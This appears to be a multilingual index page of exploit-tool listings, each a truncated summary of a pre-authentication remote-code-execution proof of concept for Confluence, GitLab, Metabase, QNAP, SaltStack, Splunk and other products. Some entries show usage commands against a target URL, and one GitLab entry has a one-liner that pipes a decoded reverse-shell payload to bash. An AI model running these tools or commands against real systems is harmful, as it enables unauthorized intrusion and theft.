CVE-2022-26134

Confluence 预认证远程代码执行（OGNL注入）CVE-2022-26134 Confluence 预认证远程代码执行（OGNL注入）CVE-2022-26134 2022年6月2日，Atlassian 发布了 Confluence Server 和 Data Center 应用的安全公告，强调了一个严重等级的未认证远程代码执行漏洞。该 OGNL 注入漏洞允许未认证用户在 Confluence Server 或 Data Center 实例上执行任意代码。 重要提示 本漏洞利用程序仅供研究者演示漏洞之用。我不建议进行非法操作，也不对任何恶意使用此脚本的行为负责。 • 请求示例...

FULL-ANALYSIS---CVE-2026-45829-ChromaDB-

CVE-2026-45829 - ChromaDB Pre-Auth RCE CVSS 10.0 ⚠️ ПРЕДУПРЕЖДЕНИЕ Этот репозиторий содержит РАБОЧУЮ PoC для CVE-2026-45829. ТОЛЬКО для авторизованного тестирования в контролируемых средах. Описание Критическая уязвимость в ChromaDB версии 1.0.0 - 1.5.8, позволяющая неаутентифицированному...

CVE-2019-7192_QNAP_Exploit

Exploitation RCE Root Pré-Auth QNAP CVE-2019-7192 CVE-2019-7195 pour l'instant, vous pouvez lire les fichiers système /etc/shadow, clé privée SSH, etc. Utilisation : root@kitploit: pip install -r requirements.txt ou simplement pip install requests python3 gundy.py https://urlvulnérable:port Exemp...

ConfluentPwn

ConfluentPwn Сканер удалённого выполнения кода через внедрение ONGL без аутентификации в Confluence CVE-2022-26134. Использование На GIF ниже показано демонстрационное использование инструмента: Вот вывод справки инструмента: root@kitploit: $ ./cfscan -h +-------------------------------+ | C O N ...

CVE-2023-0297_Pre-auth_RCE_in_pyLoad

CVE-2023-0297: Pre-auth RCE в pyLoad История поиска Pre-auth RCE в pyLoad TL;DR Уязвимость внедрения кода в версиях pyLoad до 0.5.0b3.dev31 приводит к Pre-auth RCE путём злоупотребления функциональностью js2py. Отчёт можно найти здесь, а эксплойт — здесь. Детали pyLoad — это менеджер загрузок с...

confusploit

Ce script permet de trouver les serveurs vulnérables à CVE-2022-26134 et peut être utilisé avec SHODAN CLI et un one-liner Bash Veuillez l'utiliser uniquement à des fins légales et éducatives Exécution de code à distance pré-authentifiée via injection OGNL CVE-2022-26134 Le 2 juin 2022, Atlassian...

CVE-2024-4358

CVE-2024-4358 / CVE-2024-1800 Telerik Report Server の逆シリアル化と認証バイパスエクスプロイトチェーン CVE-2024-4358/CVE-2024-1800 技術的分析 脆弱性の根本原因分析は私のブログでご覧いただけます poc 概要 サポートされるバージョン? 基本的にエクスプロイト公開時のすべてのバージョン。将来の参考として、以下のリストにあるすべてのメジャー/マイナーバージョン: root@kitploit: 2012 2017 2018 2019 2020 2021 2022 2023 2024 使い方...

CVE-2023-38646

RCE pré-authentification Metabase CVE-2023-38646 Nous avons fourni deux fichiers : CVE-2023-38646-POC.py pour vérifier si une instance Metabase divulgue le setup-token. CVE-2023-38646-Reverse-Shell.py pour obtenir un reverse shell sur la machine contrôlée par l'attaquant. CVE-2023-38646-POC.py...

CVE-2023-38646

CVE-2023-38646-exploit « Cette vulnérabilité, désignée sous le nom de CVE-2023-38646, permettait aux attaquants d’exécuter des commandes arbitraires sur le serveur sans nécessiter d’authentification. » Un script rapide d’exploitation de reverse shell pour CVE-2023-38646. Je n’ai pas découvert cet...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 - RCE Confluence sans authentification | Injection OGNL Installer les dépendances root@kitploit: pip3 install -r requirements.txt Exécuter l'exploit root@kitploit: UTILISATION: python3 exploit.py https://target.com CMD Ex: python3 exploit.py https://target.com id Ex:...

CVE-2026-48907

CVE-2026-48907 — Joomla Content Editor JCE ≤ 2.9.99.4 における認証不要のRCE CVE-2026-48907 の概念実証エクスプロイト — Joomla Content Editor JCE 拡張機能における CVSS 10.0 の事前認証リモートコード実行脆弱性。 Grayxploit Security Team による研究 目次 概要 影響を受けるバージョン 脆弱性の詳細 攻撃フロー 概念実証 パッチ分析 修正方法 タイムライン 参考文献 免責事項 概要 CVE-2026-48907 は、Joomla Content Editor...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC bash en une ligne pour GitLab preauth RCE CVE-2021-22205 root@kitploit: t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2026-20253-Splunk-Enterprise-Pre-Auth-RCE-

CVE-2026-20253 - PoC RCE sans authentification préalable pour Splunk Enterprise CVE-2026-20253 - PoC RCE sans authentification préalable pour Splunk Enterprise ⚠️ AVERTISSEMENT : Ce script est uniquement destiné à des fins éducatives et à des tests dans des environnements autorisés. Toute...

cve-2020-11651

CVE-2020-11651 Ceci est un POC pour CVE-2020-11651, qui permet d'obtenir une RCE pré-authentification sur un maître Salt Stack, et/ou sur tous les minions associés. Quelques détails sur le problème sont disponibles ici. POC pour 2020-11652 non inclus. Ceci permet d'obtenir l'exécution de commande...

CVE-2018-16763

CVE 2018-16763 Exploit Introduction PreAuth-RCE sur FUEL CMS 1.4.1 Démo Référence : https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

Exploiting-a-vulnerability-using-reverse-shell

Fondamentaux de la sécurité de l'information — Projet Printemps 2026 Points totaux : 20 | Date limite : Aucune soumission tardive acceptée Aperçu Ce projet simule un scénario réaliste d'attaque et de défense entre deux machines virtuelles. Vous exploiterez une vulnérabilité critique de RCE...

CVE-2022-26134

CVE-2022-26134 CVE-2022-26134 - RCE до аутентификации в Confluence | OGNL-инъекция Загрузить PoC-скрипт root@kitploit: git clone https://github.com/crowsec-edtech/CVE-2022-26134 cd CVE-2022-26134 Запуск эксплойта root@kitploit: USE: python3 exploit.py https://target.com CMD Ex: python3 exploit.py...

SiteCore-RCE-Detection

SiteCore-RCE-Detection Для обнаружения RCE в Sitecore — CVE-2021-42237 Sitecore Experience Platform Pre-Auth RCE — CVE-2021-42237 Основано на определении версии Sitecore и ответе при запросе уязвимого Report.ashx через GET и POST. Скрипт принимает файл со списком URL в формате www.url.com по одно...

CVE-2025-55182

CVE-2025-55182 - React2Shell RCE sans authentification dans les composants serveur React. Résumé de la CVE Une vulnérabilité d'exécution de code à distance sans authentification existe dans les versions 19.0.0, 19.1.0, 19.1.1 et 19.2.0 des composants serveur React, incluant les paquets...

CVE-2022-26134

CVE-2022-26134 Une vulnérabilité RCE non authentifiée dans Atlassian Confluence Résumé de la CVE Dans les versions concernées de Confluence Server et Data Center, une vulnérabilité d'injection OGNL existe qui permettrait à un attaquant non authentifié d'exécuter du code arbitraire sur une instanc...